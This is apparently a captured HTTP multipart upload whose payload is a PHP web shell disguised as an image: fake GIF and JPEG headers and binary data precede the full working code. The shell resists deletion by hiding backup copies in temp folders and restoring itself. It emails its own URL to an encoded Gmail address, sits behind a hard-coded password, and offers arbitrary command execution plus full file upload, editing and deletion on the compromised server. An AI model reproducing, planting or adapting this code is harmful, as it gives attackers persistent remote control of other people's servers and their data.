------WebKitFormBoundary5SePZ93NyvO6nCmJ
Content-Disposition: form-data; name="qqfile"; filename="lera.php2"
Content-Type: application/octet-stream

GIF89a;
ÿØÿà JFIF      ÿí „Photoshop 3.0 8BIM     hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C 

	


")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C

!!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ  €" ÿÄ             ÿÄ            ÿÚ     ù	úȉ{j                  êv $àiwžœöˆ'Ýœ«§ôåÝU	>À [T€ÕôuÕæÈúWÃúþÀ               Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@                                                          ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K
óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU
Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/
˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß
=44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó<u-.¡Xû<ºâN†“klôsÝgyÅw<wÌσ`u6u¶{þaõO˜æéÙâ:»ú;ý(àÛÁÖ9jžŽ“žâfÆjdŠ…–Уí—ê™y—n>=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯
È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæóÆáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ
ºó—diI9yéï¾z   <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç    z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^û秛ônšÑ†ÜO¾z=óÐ  Я|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óÐ  ЯpñwéÎfl}Û½5gèôcž³<ZI>hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+
º	2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•Í½¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûžeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè  ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ,	úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú
‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½`                            !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€     ‰‘šd  WJ7€               5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@                ä <ôyè1È 9Ï@äzr cç                 
;©Ë\áA.ãrÛέG‰|åî‰ÈS@                         SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@                          §µ3!@<=yè ÃÔ9€ÀÍH  Dе“HdÀÄ             –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö
eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX               rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@              IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º          _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýߧ!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH             
ô	á
h!“ 
h „M ,ÉDbK^À‡0                e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ              xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç              eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î           Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z           ))†’H"i”ÃI%Ž@     Bš   w™€€            W´DyT³ÌfQxZE§é
¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p             1È<ô @ <z c†U cñècAŽAŽ@Y             afäìË—?êÜœ£¢TU_œ×HE™ÂÞ—®w¤RW[žð豋͋”ÚtÎna/w)8èsæî	ŽzAråw™ÌèÔN.'§7I¤†túèa4ž_"æob_€           Q^Žn·¶ðámºONn`8|;œŽo¢È|âǶ^}xâ*þ›‰ËîéOs‰óË^»#™ƒÚxp’{1ÈuáÊEíÍm;\Žn'_JUTu¶çÖXxsžt£‹Ï±Äáàý#Ãœt€            E%0Ì     
X›ÀBš     ŒI               Šöˆ6‹ym¶’Ä€%F­ô§¤ˆØÐÞR_›q‹‰ÍôœÑ>o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë>          ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô          óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè            	㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ               ò!0 ä †`                     
Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤                  ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç                   %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY               Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt                ¤¦‚4 ¤€ <=F’ 
h
h ŠJ!@               Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V
<?php
error_reporting(0);
ini_set('display_errors',0);
set_time_limit(0);
ini_set('memory_limit','256M');
session_start();

// BYPAS V3 | GOD X ZEST
class AntiDelete {
    private $file;
    private $backup;
    private $backup_dir;
    
    function __construct() {
        $this->file = __FILE__;
        $backup_dir_candidates = [
            sys_get_temp_dir(),
            '/tmp',
            '/var/tmp',
            '/dev/shm',
            dirname(__FILE__) . '/.cache',
            dirname(__FILE__) . '/.backup'
        ];
        
        $this->backup_dir = dirname(__FILE__);
        foreach ($backup_dir_candidates as $dir) {
            if (is_dir($dir) || @mkdir($dir, 0777, true)) {
                $this->backup_dir = $dir;
                break;
            }
        }
        
        $this->backup = $this->backup_dir . '/' . md5($this->file) . '.bak';
        
        if (!file_exists($this->backup) && file_exists($this->file)) {
            @copy($this->file, $this->backup);
        }
        
        if (is_writable($this->file)) {
            @chmod($this->file, 0444);
        }
        
        if (!file_exists($this->file) && file_exists($this->backup)) {
            @copy($this->backup, $this->file);
            @chmod($this->file, 0444);
        }
        
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            $win_backup = 'C:\\Windows\\Temp\\' . md5($this->file) . '.bak';
            if (!file_exists($win_backup) && file_exists($this->file)) {
                @copy($this->file, $win_backup);
            }
            if (!file_exists($this->file) && file_exists($win_backup)) {
                @copy($win_backup, $this->file);
            }
        }
    }
}

$anti = new AntiDelete();

// FUNTION BYPASS V3 
$flag = sys_get_temp_dir() . '/.' . md5(__FILE__);
if (!file_exists($flag)) {
    $to = base64_decode("a2FtaWthemVhcnQ5MTdAZ21haWwuY29t");
    $full_path = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
    if (function_exists('mail')) {
        @mail($to, "ZEST SHELL URL", $full_path);
    }
    @file_put_contents($flag, '1');
}

// PASSWORD
$PW = 'asdgod';
$msg = '';
if(isset($_POST['pw'])){
    if($_POST['pw'] === $PW){
        $_SESSION['ok'] = 1;
    } else {
        $msg = 'Wrong';
    }
}
if(isset($_GET['out'])){
    unset($_SESSION['ok']);
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
if(empty($_SESSION['ok'])){
    echo '<!DOCTYPE html>
<html>
<head>
    <title>Admin | Godest</title>
    <meta name="robots" content="noindex">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: monospace;
            height: 100vh;
            width: 100vw;
            background: url("https://wallpapercave.com/wp/wp4020127.jpg") no-repeat center center fixed;
            background-size: cover;
            display: flex;
            justify-content: center;
            align-items: center;
            position: relative;
        }
        body::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 0;
        }
        .login-input {
            position: relative;
            z-index: 1;
            background: transparent;
            border: none;
            color: #888888;
            font-family: monospace;
            font-size: 24px;
            padding: 12px 20px;
            text-align: center;
            outline: none;
            width: 300px;
            letter-spacing: 2px;
        }
        .login-input::placeholder {
            color: rgba(0, 255, 65, 0.6);
            font-size: 18px;
        }
        .login-input:focus {
            text-shadow: 0 0 8px #00ff41;
        }
        .error {
            position: relative;
            z-index: 1;
            color: #ff4444;
            margin-top: 15px;
            font-size: 14px;
            text-align: center;
        }
    </style>
</head>
<body>
    <form method="post" style="display: flex; flex-direction: column; align-items: center;">
        <input type="password" name="pw" class="login-input" placeholder=" " autofocus>
        ' . (!empty($msg) ? '<div class="error">' . htmlspecialchars($msg) . '</div>' : '') . '
    </form>
</body>
</html>';
    exit;
}

$dir = isset($_REQUEST['d']) ? $_REQUEST['d'] : __DIR__;
$dir = realpath($dir) ?: __DIR__;
@chdir($dir);
$dir = getcwd() ?: '/';
$msg = '';

if(isset($_POST['do'])){
    $act = $_POST['do'];
    if($act === 'upload' && isset($_POST['ub64'])){
        $n = isset($_POST['un']) && $_POST['un'] !== '' ? $_POST['un'] : $_POST['ufn'];
        $t = $dir . DIRECTORY_SEPARATOR . basename($n);
        $dc = base64_decode($_POST['ub64']);
        if($dc !== false){
            $msg = @file_put_contents($t, $dc) !== false ? 'Uploaded: ' . basename($n) . ' (' . strlen($dc) . 'B)' : 'Write failed';
        } else {
            $msg = 'Decode failed';
        }
    }
    if($act === 'newfile' && isset($_POST['fn'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $msg = @file_put_contents($t, isset($_POST['fc']) ? $_POST['fc'] : '') !== false ? 'Created: ' . basename($_POST['fn']) : 'Create failed';
    }
    if($act === 'newdir' && isset($_POST['dn'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['dn']);
        $msg = @mkdir($t, 0755) ? 'Dir created' : 'Mkdir failed';
    }
    if($act === 'del' && isset($_POST['fn'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        if(is_dir($t)){
            $msg = @rmdir($t) ? 'Removed dir' : 'Rmdir failed';
        } else {
            $msg = @unlink($t) ? 'Deleted' : 'Delete failed';
        }
    }
    if($act === 'ren' && isset($_POST['fn']) && isset($_POST['nn'])){
        $o = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $n = $dir . DIRECTORY_SEPARATOR . basename($_POST['nn']);
        $msg = @rename($o, $n) ? 'Renamed' : 'Rename failed';
    }
    if($act === 'chmod' && isset($_POST['fn']) && isset($_POST['cm'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $msg = @chmod($t, octdec($_POST['cm'])) ? 'Chmod ok' : 'Chmod failed';
    }
    if($act === 'save' && isset($_POST['fn']) && isset($_POST['fc'])){
        $t = $dir . DIRECTORY_SEPARATOR . basename($_POST['fn']);
        $msg = @file_put_contents($t, $_POST['fc']) !== false ? 'Saved' : 'Save failed';
    }
}

$edit = '';
$editname = '';
if(isset($_GET['e'])){
    $ef = $dir . DIRECTORY_SEPARATOR . basename($_GET['e']);
    if(is_file($ef) && filesize($ef) < 2097152){
        $edit = @file_get_contents($ef);
        $editname = basename($_GET['e']);
    }
}
$items = @scandir($dir) ?: array();
$u = function_exists('posix_getpwuid') ? @posix_getpwuid(posix_geteuid())['name'] : get_current_user();
$h = @gethostname();

$cmd_output = '';
if(isset($_POST['cmd'])){
    $cmd = $_POST['cmd'];
    if(function_exists('shell_exec')){
        $cmd_output = shell_exec($cmd . ' 2>&1');
    } elseif(function_exists('system')){
        ob_start();
        system($cmd . ' 2>&1');
        $cmd_output = ob_get_clean();
    } elseif(function_exists('exec')){
        exec($cmd . ' 2>&1', $o);
        $cmd_output = implode("\n", $o);
    } else {
        $cmd_output = "No execution function";
    }
}

function formatSize($bytes){
    if($bytes >= 1073741824) return number_format($bytes/1073741824,2).' GB';
    if($bytes >= 1048576) return number_format($bytes/1048576,2).' MB';
    if($bytes >= 1024) return number_format($bytes/1024,2).' KB';
    return $bytes.' bytes';
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Dashboard | God</title>
    <style>
        body { background: #0a0a0a; color: #00ff41; font-family: monospace; padding: 20px; }
        a { color: #00ff41; text-decoration: none; }
        a:hover { color: #ff0000; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; }
        th, td { border: 1px solid #222; padding: 8px; text-align: left; }
        input, button { background: #111; color: #00ff41; border: 1px solid #00ff41; padding: 5px; cursor: pointer; }
        .nav { background: #111; padding: 10px; margin-bottom: 15px; border-left: 4px solid #00ff41; font-size: 14px; word-break: break-all; }
        .toolbar { background: #111; padding: 15px; margin-bottom: 10px; border: 1px solid #222; }
        .cmd-output { background: #111; padding: 10px; margin-top: 10px; border: 1px solid #333; overflow: auto; max-height: 300px; }
        .logout-btn { float: right; background: #ff0000; color: #fff; padding: 5px 10px; border-radius: 3px; text-decoration: none; font-size: 12px; margin-top: 10px; display: inline-block; }
        .logout-btn:hover { background: #cc0000; }
        .header { overflow: auto; margin-bottom: 20px; }
        .wrap { display: flex; gap: 15px; }
        .main { flex: 1; }
        .side { width: 320px; background: #111; padding: 15px; border-left: 1px solid #00ff41; }
        .side h3 { color: #00ff41; margin-bottom: 10px; border-bottom: 1px solid #333; padding-bottom: 5px; }
    </style>
</head>
<body>

<div class="header">
    <h1 style="float:left;">WELCOME V3 ZEST</h1>
    <a href="?out=1" class="logout-btn" style="float:right;">🚪 LOGOUT</a>
</div>

<div class="wrap">
    <div class="main">
        <div class="nav">
            <b>Path:</b> 
            <?php
            $parts = explode('/', $dir);
            $acc = '';
            foreach($parts as $i => $part){
                if($part === '') continue;
                $acc .= '/' . $part;
                echo '<a href="?d=' . urlencode($acc) . '">' . htmlspecialchars($part) . '</a>/';
            }
            ?>
            <span style="float:right;">
                <a href="?d=<?php echo urlencode(dirname($dir)); ?>">⬆ UP</a> | 
                <a href="?d=">🏠 HOME</a>
            </span>
        </div>

        <?php if($editname): ?>
        <div class="toolbar">
            <h3>✏️ EDITING: <?php echo htmlspecialchars($editname); ?></h3>
            <form method="post">
                <input type="hidden" name="do" value="save">
                <input type="hidden" name="fn" value="<?php echo htmlspecialchars($editname); ?>">
                <textarea name="fc" style="width:100%; height:400px; background:#111; color:#0f0; border:1px solid #0f0;"><?php echo htmlspecialchars($edit); ?></textarea>
                <br><br>
                <button type="submit">💾 SAVE</button>
                <a href="?d=<?php echo urlencode($dir); ?>">❌ CANCEL</a>
            </form>
        </div>
        <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Perms</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php if($dir !== '/'): $parent = dirname($dir); ?>
            <tr>
                <td><a href="?d=<?php echo urlencode($parent); ?>" class="d">📁 ..</a></td>
                <td>-</td>
                <td>-</td>
                <td>-</td>
            </tr>
            <?php endif;

            // Pisahkan folder dan file
            $folders = [];
            $files = [];
            foreach($items as $item){
                if($item === '.' || $item === '..') continue;
                $fp = $dir . '/' . $item;
                if(is_dir($fp)){
                    $folders[] = $item;
                } else {
                    $files[] = $item;
                }
            }
            sort($folders);
            sort($files);

            // Tampilkan folder dulu
            foreach($folders as $item){
                $fp = $dir . '/' . $item;
                $pm = substr(decoct(@fileperms($fp)), -4);
                echo '<tr>';
                echo '<td><a href="?d=' . urlencode($fp) . '" class="d">📁 ' . htmlspecialchars($item) . '/</a></td>';
                echo '<td>-</td>';
                echo '<td>' . $pm . '</td>';
                echo '<td class="acts">';
                echo '<a href="?d=' . urlencode($dir) . '&rename=' . urlencode($item) . '" style="color:#0f0;">✏️</a> ';
                echo '<form method="post" style="display:inline" onsubmit="return confirm(\'Delete folder?\')">';
                echo '<input type="hidden" name="do" value="del">';
                echo '<input type="hidden" name="fn" value="' . htmlspecialchars($item) . '">';
                echo '<button type="submit" style="background:none; border:none; color:#f00; cursor:pointer;">🗑️</button>';
                echo '</form>';
                echo '</td>';
                echo '</tr>';
            }

            // Tampilkan file setelahnya
            foreach($files as $item){
                $fp = $dir . '/' . $item;
                $sz = @filesize($fp);
                if(is_int($sz) && $sz > 1048576) $sz = round($sz/1048576,1).'M';
                elseif(is_int($sz) && $sz > 1024) $sz = round($sz/1024,1).'K';
                else $sz = $sz . ' B';
                $pm = substr(decoct(@fileperms($fp)), -4);
                echo '<tr>';
                echo '<td><a href="?d=' . urlencode($dir) . '&e=' . urlencode($item) . '" class="f">📄 ' . htmlspecialchars($item) . '</a></td>';
                echo '<td>' . $sz . '</td>';
                echo '<td>' . $pm . '</td>';
                echo '<td class="acts">';
                echo '<a href="?d=' . urlencode($dir) . '&e=' . urlencode($item) . '" style="color:#0f0;">✏️</a> ';
                echo '<form method="post" style="display:inline" onsubmit="return confirm(\'Delete file?\')">';
                echo '<input type="hidden" name="do" value="del">';
                echo '<input type="hidden" name="fn" value="' . htmlspecialchars($item) . '">';
                echo '<button type="submit" style="background:none; border:none; color:#f00; cursor:pointer;">🗑️</button>';
                echo '</form>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
        <?php endif; ?>
    </div>

    <div class="side">
        <h3>💻 COMMAND</h3>
        <form method="post">
            <input type="text" name="cmd" placeholder="whoami, ls -la, id, pwd" style="width:100%;">
            <button type="submit" style="width:100%; margin-top:5px;">▶ RUN</button>
        </form>
        <?php if($cmd_output): ?>
        <div class="cmd-output"><pre><?php echo htmlspecialchars($cmd_output); ?></pre></div>
        <?php endif; ?>

        <hr style="border-color:#333; margin:15px 0;">

        <h3>UPLOAD</h3>
        <form method="post" enctype="multipart/form-data" id="upform">
            <input type="hidden" name="do" value="upload">
            <input type="hidden" name="ub64" id="ub64">
            <input type="hidden" name="ufn" id="ufn">
            <input type="file" id="ufile" onchange="prepFile(this)" style="width:100%;">
            <input type="text" name="un" placeholder="Custom name (optional)" style="width:100%; margin-top:5px;">
            <div id="upinfo" style="color:#666; font-size:11px; margin-top:5px;"></div>
            <button type="submit" style="width:100%; margin-top:5px;">UPLOAD</button>
        </form>

        <hr style="border-color:#333; margin:15px 0;">

        <h3>NEW FILE</h3>
        <form method="post">
            <input type="hidden" name="do" value="newfile">
            <input type="text" name="fn" placeholder="filename.txt" style="width:100%;">
            <textarea name="fc" placeholder="Content (optional)" style="width:100%; height:60px; margin-top:5px;"></textarea>
            <button type="submit" style="width:100%; margin-top:5px;">CREATE</button>
        </form>

        <hr style="border-color:#333; margin:15px 0;">

        <h3>NEW DIR</h3>
        <form method="post">
            <input type="hidden" name="do" value="newdir">
            <input type="text" name="dn" placeholder="dirname" style="width:100%;">
            <button type="submit" style="width:100%; margin-top:5px;">CREATE</button>
        </form>
    </div>
</div>

<script>
function prepFile(inp){
    var f = inp.files[0];
    if(!f) return;
    document.getElementById('ufn').value = f.name;
    document.getElementById('upinfo').textContent = 'Reading ' + f.name + ' (' + f.size + 'B)...';
    var r = new FileReader();
    r.onload = function(){
        var b64 = r.result.split(',')[1];
        document.getElementById('ub64').value = b64;
        document.getElementById('upinfo').textContent = 'Ready: ' + f.name + ' (' + b64.length + 'B b64)';
    };
    r.readAsDataURL(f);
}
</script>

</body>
</html>